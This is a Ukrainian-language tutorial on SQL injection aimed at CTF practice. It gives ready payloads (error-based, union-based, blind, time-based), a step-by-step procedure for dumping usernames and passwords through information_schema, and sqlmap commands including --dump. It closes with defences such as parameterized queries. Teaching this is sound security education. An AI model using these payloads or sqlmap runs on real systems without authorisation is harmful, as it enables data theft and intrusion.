Що таке SQL-ін'єкція?
SQL-ін'єкція (SQLi) — це вразливість, яка виникає коли застосунок підставляє дані користувача безпосередньо в SQL-запит без належної обробки. Зловмисник може змінити логіку запиту та отримати несанкціонований доступ до даних.
Як виникає вразливість
Розглянемо класичний приклад на PHP:
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
Якщо передати id=1 OR 1=1, запит стане:
SELECT * FROM users WHERE id = 1 OR 1=1
І поверне всі записи в таблиці.
Типи SQL-ін'єкцій
1. In-band (класична)
Результат ін'єкції повертається прямо у відповіді сторінки.
Error-based — отримуємо дані через повідомлення про помилку:
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
Union-based — об'єднуємо результат з іншим SELECT:
' UNION SELECT null, username, password FROM users --
2. Blind (сліпа)
Застосунок не повертає помилок, але поведінка відрізняється.
Boolean-based — перевіряємо умови через True/False:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --
Time-based — використовуємо затримку:
' AND SLEEP(5) --
' AND 1=(SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END) --
3. Out-of-band
Дані виводяться через DNS або HTTP-запити. Рідкісний варіант, потребує особливих привілеїв у БД.
Практика: базовий алгоритм для CTF
Крок 1. Знайдіть точку ін'єкції
' -- одинарна лапка: викликає помилку?
'' -- дві лапки: помилка зникає?
Крок 2. Визначте кількість стовпців
ORDER BY 1--
ORDER BY 2--
ORDER BY 3-- -- поки не з'явиться помилка
Крок 3. UNION SELECT
' UNION SELECT null,null,null--
Замінюйте null на 1,2,3 щоб знайти відображувані стовпці.
Крок 4. Витягніть дані
' UNION SELECT null, table_name, null FROM information_schema.tables--
' UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT null, username, password FROM users--
Автоматизація: sqlmap
# Базове сканування
sqlmap -u "http://target.com/page?id=1"
# З куки (для авторизованих сторінок)
sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123"
# Дамп бази
sqlmap -u "http://target.com/page?id=1" --dump
# Вказати DBMS для швидкості
sqlmap -u "http://target.com/page?id=1" --dbms=mysql
Захист
- Prepared statements (параметризовані запити) — головний захід
- ORM — SQLAlchemy, Hibernate автоматично екранують
- Whitelist вхідних даних
- Принцип найменших привілеїв для користувача БД
# Вразливо
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
# Безпечно
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
Корисні ресурси
- PortSwigger Web Security Academy — безкоштовні лабораторні
- PayloadsAllTheThings — велика колекція пейлоадів
OWASP Testing Guide— методологія тестування